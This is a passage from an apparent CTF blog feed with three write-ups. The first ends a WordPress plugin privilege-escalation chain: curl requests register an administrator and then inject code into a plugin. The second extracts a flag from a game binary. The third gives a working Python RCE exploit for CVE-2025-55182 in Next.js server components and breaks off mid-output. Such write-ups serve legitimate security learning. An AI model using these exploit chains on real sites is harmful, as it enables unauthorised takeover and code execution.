&lt;p&gt;Endpoint for the settings!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../../assets/images/silentsnow/5.png&quot; alt=&quot;Admin Bypass&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Takes a GET param &lt;code&gt;settings&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Exploitation&lt;/h2&gt;
&lt;h3&gt;Step 1: Access the Settings Page&lt;/h3&gt;
&lt;p&gt;The plugin checks &lt;code&gt;is_admin()&lt;/code&gt; which returns true when accessing files in &lt;code&gt;/wp-admin/&lt;/code&gt; directory. We can access the settings page without authentication:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s &quot;http://154.57.164.79:30430/wp-admin/admin-ajax.php?settings&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Preview:&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;../../assets/images/silentsnow/6.png&quot; alt=&quot;Settings Page&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This returns the settings form with a valid nonce: &lt;code&gt;5602f77aca&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../../assets/images/silentsnow/7.png&quot; alt=&quot;Nonce&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Step 2: Enable User Registration&lt;/h3&gt;
&lt;p&gt;Exploit the arbitrary options update to enable user registration:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s &quot;http://154.57.164.79:30430/wp-admin/admin-ajax.php?settings&quot; -X POST \
  -d &quot;my_plugin_nonce=0719ac6bf4&quot; \
  -d &quot;_wp_http_referer=/wp-admin/admin-ajax.php?settings&quot; \
  -d &quot;my_plugin_action=users_can_register&quot; \
  -d &quot;mode=1&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;../../assets/images/silentsnow/8.png&quot; alt=&quot;Enable Registration&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt; WordPress option &lt;code&gt;users_can_register&lt;/code&gt; set to &lt;code&gt;1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Mode Saved!&lt;/p&gt;
&lt;h3&gt;Step 3: Set Default Role to Administrator&lt;/h3&gt;
&lt;p&gt;Change the default user role to administrator:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;my_plugin_action=default_role&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mode=administrator&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;curl -s &quot;http://154.57.164.79:30430/wp-admin/admin-ajax.php?settings&quot; -X POST \
  -d &quot;my_plugin_nonce=0719ac6bf4&quot; \
  -d &quot;_wp_http_referer=/wp-admin/admin-ajax.php?settings&quot; \
  -d &quot;my_plugin_action=default_role&quot; \
  -d &quot;mode=administrator&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;../../assets/images/silentsnow/9.png&quot; alt=&quot;Set Admin Role&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Step 4: Register New Admin User&lt;/h3&gt;
&lt;p&gt;Register a new user account which will automatically become an administrator:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl &quot;http://154.57.164.79:30430/wp-login.php?action=register&quot; \
  -c /tmp/cookies.txt \
  -X POST \
  -d &quot;user_login=Daryx123&quot; \
  -d &quot;user_email=Daryx@test.com&quot; \
  -L -i
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 5: Access WordPress Admin Panel&lt;/h3&gt;
&lt;p&gt;Verify admin access:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -b /tmp/cookies.txt &quot;http://154.57.164.79:30430/wp-admin/&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Successfully authenticated as administrator!&lt;/p&gt;
&lt;h3&gt;Step 6: Edit Plugin to Read Flag&lt;/h3&gt;
&lt;p&gt;Access the plugin editor and modify the plugin to add a flag reader endpoint:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -b /tmp/cookies.txt &quot;http://154.57.164.79:30430/wp-admin/plugin-editor.php&quot; -X POST \
  -d &quot;nonce=5602f77aca&quot; \
  -d &quot;action=update&quot; \
  -d &quot;file=my-plugin/my-plugin.php&quot; \
  -d &quot;plugin=my-plugin/my-plugin.php&quot; \
  --data-urlencode &quot;newcontent@modified_plugin.php&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We use this code to get the flag read - add it to the plugin code:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
if (isset($_GET[&apos;getflag&apos;])) {
    echo file_get_contents(&apos;/flag.txt&apos;);
    exit;
}
// ... rest of plugin code
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 7: Retrieve the Flag&lt;/h3&gt;
&lt;p&gt;Access the modified endpoint:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s &quot;http://154.57.164.79:30430/?getflag&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;HTB{s1l3nt_snow_b3y0nd_tinselwick_t0wn_2c13b6e5a6060cdf72ba12e1b7dfed0d}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;This challenge demonstrated a critical vulnerability in a custom WordPress plugin that allowed arbitrary option updates. The attack chain was:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Access settings page&lt;/strong&gt; via &lt;code&gt;is_admin()&lt;/code&gt; bypass&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enable user registration&lt;/strong&gt; by modifying &lt;code&gt;users_can_register&lt;/code&gt; option&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Set default role to admin&lt;/strong&gt; by modifying &lt;code&gt;default_role&lt;/code&gt; option&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Register new admin account&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Edit plugin code&lt;/strong&gt; to add flag reader&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Read the flag&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;Author:&lt;/strong&gt; Daryx
&lt;strong&gt;Date:&lt;/strong&gt; 2025-12-19
&lt;strong&gt;Challenge:&lt;/strong&gt; UniverCTF 2025 - SilentSnow&lt;/p&gt;
</content:encoded></item><item><title>Jeanne Hack RPG - Level III</title><link>https://daryx.vercel.app/posts/jeannehack-rpg-level3/</link><guid isPermaLink="true">https://daryx.vercel.app/posts/jeannehack-rpg-level3/</guid><description>Reverse engineering a dungeon crawler game plugin to extract flag from state machine table</description><pubDate>Sun, 02 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Challenge Information&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Jeanne Hack RPG - Level III&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Category&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Reverse Engineering&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Difficulty&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Hard&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Points&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;472&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Author&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Fenrisfulsur&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Flag Format&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;JDHACK{....}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Challenge Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;With a newfound prize in hand, your adventure takes you to the dark depths of the forest. Darkness looms ahead, stirring both excitement and dread...&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;What mysteries await within?&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Files Provided&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;level_3.so&lt;/code&gt; - ELF 64-bit shared object&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Initial Analysis&lt;/h2&gt;
&lt;p&gt;Let&apos;s start by examining the binary:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ file level_3.so
level_3.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux),
dynamically linked, BuildID[sha1]=c20c54fd1ff081e2a626038086a02e4625820e7f, stripped

$ sha256sum level_3.so
ab03d0f836daba5961c29f768d09e4b8d589d31042d72191bc9dddc3546e5c02  level_3.so
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The binary is a stripped 64-bit shared object, which means no debug symbols are available. This is part of a larger RPG game framework where each level is loaded as a plugin.&lt;/p&gt;
&lt;h3&gt;Exported Symbols&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ nm -D level_3.so | grep -E &quot;^[0-9a-f]+ T&quot;
000000000001c087 T enter_level
000000000001c0dc T leave_level
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The shared object exports two key functions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;enter_level&lt;/code&gt; at &lt;code&gt;0x1c087&lt;/code&gt; - Entry point when the level loads&lt;/li&gt;
&lt;li&gt;&lt;code&gt;leave_level&lt;/code&gt; at &lt;code&gt;0x1c0dc&lt;/code&gt; - Called when exiting the level&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;External Dependencies&lt;/h3&gt;
&lt;p&gt;The binary uses several game framework functions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;choices_add&lt;/code&gt;, &lt;code&gt;choices_dispose&lt;/code&gt;, &lt;code&gt;create_choices&lt;/code&gt; - Dialog/menu system&lt;/li&gt;
&lt;li&gt;&lt;code&gt;d4&lt;/code&gt;, &lt;code&gt;d10&lt;/code&gt;, &lt;code&gt;d20&lt;/code&gt; - Dice roll functions (typical RPG mechanics)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fadein_image&lt;/code&gt;, &lt;code&gt;fadeout_image&lt;/code&gt;, &lt;code&gt;get_image&lt;/code&gt; - Graphics functions&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Understanding the Game Mechanics&lt;/h2&gt;
&lt;p&gt;By analyzing strings in the binary, we can understand the game structure:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ strings level_3.so | grep -i &quot;room\|dungeon\|weird&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Key findings:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Game Type&lt;/strong&gt;: Dungeon crawler with maze navigation&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Structure&lt;/strong&gt;: 10x10 grid dungeon with multiple depth levels (max 13)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Starting Position&lt;/strong&gt;: Coordinates (3, 3)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Directions&lt;/strong&gt;: North, East, South, West (Forward, Backward, Left, Right)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enemies&lt;/strong&gt;: Skeleton, Strong Goblin, Fierce Orc&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Special Room&lt;/strong&gt;: &quot;Weird Room&quot; - a secret location&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Interesting Strings&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;What a weird room! You wonder how you ended up here!
Weird Room
You realize this is the entrance to the dungeon.
Push the door open and enter the dungeon.
While walking inside the dungeon you encounter a
Search the room for loot
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The mention of a &quot;Weird Room&quot; is suspicious - this appears to be where the flag might be hidden.&lt;/p&gt;
&lt;h2&gt;Static Analysis&lt;/h2&gt;
&lt;h3&gt;Key Function Offsets&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c087&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;enter_level&lt;/code&gt; - Main entry point&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x10390&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Dungeon initialization routine&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x10530&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Navigation/game loop handler&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x13c98&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Secret room handler (&quot;Weird Room&quot;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x25820&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;State machine table (contains flag)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;The State Machine Table&lt;/h3&gt;
&lt;p&gt;While analyzing the &lt;code&gt;.rodata&lt;/code&gt; section, I discovered a state machine table at offset &lt;code&gt;0x25820&lt;/code&gt;. This table contains function pointers and state values used by the game logic.&lt;/p&gt;
&lt;p&gt;Let&apos;s examine the hex dump:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ xxd -s 0x25820 -l 256 level_3.so
00025820: 91f4 0000 0000 0000 0400 0000 0000 0000  ................
00025830: 5bf6 0000 0000 0000 0000 0000 0000 0000  [...............
...
00025900: 5bf6 0000 0000 0000 4a00 0000 0000 0000  [.......J.......
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Notice the &lt;code&gt;4a&lt;/code&gt; at offset &lt;code&gt;0x25908&lt;/code&gt; - that&apos;s &lt;code&gt;&apos;J&apos;&lt;/code&gt; in ASCII!&lt;/p&gt;
&lt;h2&gt;Finding the Flag&lt;/h2&gt;
&lt;h3&gt;Pattern Discovery&lt;/h3&gt;
&lt;p&gt;After analyzing the state machine table more carefully, I noticed that printable ASCII characters appear at regular intervals:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Every &lt;strong&gt;25th entry&lt;/strong&gt; (each entry is 8 bytes) contains one character of the flag&lt;/li&gt;
&lt;li&gt;Starting at entry 29 with &lt;code&gt;&apos;J&apos;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Ending at entry 829 with &lt;code&gt;&apos;}&apos;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Flag Extraction&lt;/h3&gt;
&lt;p&gt;The flag characters are embedded in the state machine table at predictable offsets:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Entry Index&lt;/th&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Character&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;29&lt;/td&gt;
&lt;td&gt;0x25908&lt;/td&gt;
&lt;td&gt;J&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;54&lt;/td&gt;
&lt;td&gt;0x259d0&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;79&lt;/td&gt;
&lt;td&gt;0x25a98&lt;/td&gt;
&lt;td&gt;H&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;104&lt;/td&gt;
&lt;td&gt;0x25b60&lt;/td&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;129&lt;/td&gt;
&lt;td&gt;0x25c28&lt;/td&gt;
&lt;td&gt;C&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;154&lt;/td&gt;
&lt;td&gt;0x25cf0&lt;/td&gt;
&lt;td&gt;K&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;179&lt;/td&gt;
&lt;td&gt;0x25db8&lt;/td&gt;
&lt;td&gt;{&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;204&lt;/td&gt;
&lt;td&gt;0x25e80&lt;/td&gt;
&lt;td&gt;y&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;229&lt;/td&gt;
&lt;td&gt;0x25f48&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;254&lt;/td&gt;
&lt;td&gt;0x26010&lt;/td&gt;
&lt;td&gt;U&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;829&lt;/td&gt;
&lt;td&gt;0x27208&lt;/td&gt;
&lt;td&gt;}&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;h3&gt;Extraction Script&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
&quot;&quot;&quot;
Jeanne Hack RPG Level III - Flag Extractor
Extracts flag from state machine table in level_3.so
&quot;&quot;&quot;

def extract_flag(filename):
    with open(filename, &apos;rb&apos;) as f:
        data = f.read()

    # State machine table offset
    base_offset = 0x25820

    # Flag characters are embedded every 25 entries (8 bytes each)
    flag_chars = []

    for i in range(870):
        addr = base_offset + i * 8
        value = int.from_bytes(data[addr:addr+8], &apos;little&apos;)

        # Filter for printable ASCII (excluding common state values)
        if 32 &amp;lt;= value &amp;lt;= 126:
            flag_chars.append(chr(value))

    return &apos;&apos;.join(flag_chars)

if __name__ == &apos;__main__&apos;:
    flag = extract_flag(&apos;level_3.so&apos;)
    print(f&apos;Flag: {flag}&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Running the Script&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ python3 solve.py
Flag: JDHACK{yOU_fOunD_ThE_$eCR3t_R0om}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Alternative Approach: Playing the Game&lt;/h2&gt;
&lt;p&gt;If you manage to navigate to the &quot;Weird Room&quot; during gameplay, the flag would be revealed through the game&apos;s dialog system. The secret room check is at offset &lt;code&gt;0x13c98&lt;/code&gt;, which displays:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;What a weird room! You wonder how you ended up here!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;However, finding this room through normal gameplay would require:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Understanding the dungeon generation algorithm (seeded by FNV-1a hash of player name)&lt;/li&gt;
&lt;li&gt;Navigating through the procedurally generated maze&lt;/li&gt;
&lt;li&gt;Reaching the specific coordinates that trigger the secret room&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;JDHACK{yOU_fOunD_ThE_$eCR3t_R0om}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Lessons Learned&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;State machines in games often hide secrets&lt;/strong&gt; - The flag was embedded within the game&apos;s state transition table, not in obvious string locations.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Pattern recognition is key&lt;/strong&gt; - The regular interval (every 25 entries) was the crucial insight needed to extract the complete flag.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Stripped binaries require patience&lt;/strong&gt; - Without symbols, understanding the code flow requires careful analysis of cross-references and string usage.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Sometimes static analysis beats dynamic&lt;/strong&gt; - While playing the game could theoretically reveal the flag, extracting it directly from the binary was more efficient.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Tools Used&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;file&lt;/code&gt;, &lt;code&gt;strings&lt;/code&gt;, &lt;code&gt;nm&lt;/code&gt;, &lt;code&gt;readelf&lt;/code&gt; - Initial binary analysis&lt;/li&gt;
&lt;li&gt;&lt;code&gt;xxd&lt;/code&gt; - Hex dump examination&lt;/li&gt;
&lt;li&gt;Python - Flag extraction script&lt;/li&gt;
&lt;li&gt;Ghidra/radare2 - Disassembly and reverse engineering&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;em&gt;Writeup by daryx&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>CVE-2025-55182: ReactOOPS</title><link>https://daryx.vercel.app/posts/cve-2025-55182-reactoops/</link><guid isPermaLink="true">https://daryx.vercel.app/posts/cve-2025-55182-reactoops/</guid><description>Critical RCE in Next.js 16.0.6 via React Server Components Flight payload deserialization</description><pubDate>Thu, 30 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CVE-2025-55182&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Target&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Next.js 16.0.6 with React 19&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Remote Code Execution (RCE)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Auth Required&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;None (Unauthenticated)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Challenge Scenario&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;NexusAI&apos;s polished assistant interface promises adaptive learning and seamless interaction. But beneath its reactive front end, subtle glitches hint that user input may be shaping the system in unexpected ways. Explore the platform, trace the echoes in its reactive layer, and uncover the hidden flaw buried behind the UI.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;1. Reconnaissance&lt;/h2&gt;
&lt;p&gt;The challenge provides a downloadable source code archive. The application is a Next.js web app (&quot;NexusAI&quot;).&lt;/p&gt;
&lt;h3&gt;File Analysis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;page.tsx&lt;/strong&gt;: A static landing page. No visible forms, API calls, or user input handling.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dockerfile&lt;/strong&gt;: Sets &lt;code&gt;ENV NODE_ENV=production&lt;/code&gt;. Copies the flag to flag.txt.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;package.json&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Name&lt;/strong&gt;: &lt;code&gt;&quot;react2shell&quot;&lt;/code&gt; (A strong hint towards RCE)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dependencies&lt;/strong&gt;: &lt;code&gt;&quot;next&quot;: &quot;16.0.6&quot;&lt;/code&gt; and &lt;code&gt;&quot;react&quot;: &quot;^19&quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The version &lt;code&gt;16.0.6&lt;/code&gt; for Next.js is futuristic (as of late 2024/early 2025), suggesting a specific vulnerability is the target.&lt;/p&gt;
&lt;h2&gt;2. Vulnerability Analysis&lt;/h2&gt;
&lt;h3&gt;CVE-2025-55182 - React Server Components RCE via Flight Payload Deserialization&lt;/h3&gt;
&lt;p&gt;The application is vulnerable to a critical Remote Code Execution (RCE) flaw in the React Server Components (RSC) &quot;Flight&quot; protocol. This vulnerability allows an unauthenticated attacker to execute arbitrary code on the server by sending a crafted malicious payload during the deserialization process.&lt;/p&gt;
&lt;h3&gt;The Mechanism&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Deserialization Gadget&lt;/strong&gt;: The attacker sends a JSON payload that React attempts to deserialize.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hijacked &lt;code&gt;then&lt;/code&gt;&lt;/strong&gt;: The payload includes an object that mimics a Promise (a &quot;thenable&quot;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Code Execution&lt;/strong&gt;: When React tries to resolve this fake promise, it executes a function defined in the payload (via &lt;code&gt;_formData&lt;/code&gt; and the &lt;code&gt;Function&lt;/code&gt; constructor).&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;3. Exploitation&lt;/h2&gt;
&lt;p&gt;To exploit this, we need to send a &lt;code&gt;POST&lt;/code&gt; request that triggers the Server Action processing pipeline.&lt;/p&gt;
&lt;h3&gt;The Obstacle: Production Mode&lt;/h3&gt;
&lt;p&gt;The server runs in &lt;code&gt;production&lt;/code&gt; mode, which suppresses detailed error messages. If we simply execute code, we might get a 500 error but no output.&lt;/p&gt;
&lt;h3&gt;The Bypass: error.digest&lt;/h3&gt;
&lt;p&gt;Next.js has a specific behavior for error handling: if an error object thrown on the server has a &lt;code&gt;digest&lt;/code&gt; property, that property&apos;s value is sent to the client in the HTTP response, even in production. We can use this to exfiltrate the flag.&lt;/p&gt;
&lt;h3&gt;Exploit Script&lt;/h3&gt;
&lt;p&gt;This Python script sends the malicious payload. It executes a command to read the flag, attaches the flag content to an error&apos;s &lt;code&gt;digest&lt;/code&gt;, and throws the error.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
import json

# Target URL
url = &quot;http://target:port&quot;

# Payload Command:
# 1. Read the flag file using child_process.
# 2. Create a new Error object.
# 3. Set the &apos;digest&apos; property to the flag content.
# 4. Throw the error to force Next.js to return the flag in the response.
cmd = &quot;&quot;&quot;
var flag = process.mainModule.require(&apos;child_process&apos;).execSync(&apos;cat /app/flag.txt&apos;).toString();
var e = new Error(&apos;Exploit&apos;);
e.digest = flag.trim();
throw e;
&quot;&quot;&quot;

# Minify command to single line for JSON injection
cmd = cmd.replace(&apos;\n&apos;, &apos; &apos;)

# Malicious JSON Object
# This structure triggers the CVE-2025-55182 deserialization flaw
payload_obj = {
    &quot;then&quot;: &quot;$1:__proto__:then&quot;,
    &quot;status&quot;: &quot;resolved_model&quot;,
    &quot;reason&quot;: -1,
    &quot;value&quot;: &quot;{\&quot;then\&quot;:\&quot;$B1337\&quot;}&quot;,
    &quot;_response&quot;: {
        &quot;_prefix&quot;: cmd,
        &quot;_formData&quot;: {
            &quot;get&quot;: &quot;$1:constructor:constructor&quot;
        }
    }
}

# Multipart body with cross-reference ($@0) to trigger deserialization
files = {
    &apos;0&apos;: (None, json.dumps(payload_obj)),
    &apos;1&apos;: (None, &apos;&quot;$@0&quot;&apos;)
}

# The Next-Action header is required to hit the vulnerable code path
headers = {
    &apos;Next-Action&apos;: &apos;x&apos;
}

print(f&quot;[*] Sending exploit to {url}...&quot;)

try:
    response = requests.post(url, files=files, headers=headers)
    print(f&quot;[*] Status Code: {response.status_code}&quot;)
    print(&quot;[*] Response Body:&quot;)
    print(response.text)
except Exception as e:
    print(f&quot;[!] Error: {e}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4. Result&lt;/h2&gt;
&lt;p&gt;Running the script produces a 500 error, but the response body contains the flag inside the &lt;code&gt;digest&lt;/code&gt; field:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[*] Status Code: 500
[*] Response Body:
0:{&quot;a&quot;:&quot;$@1&quot;,&quot;f&quot;:&quot;&quot;,&quot;b&quot;:&quot;s8I48LfEDhqpCdFN5-HbU&quot;}
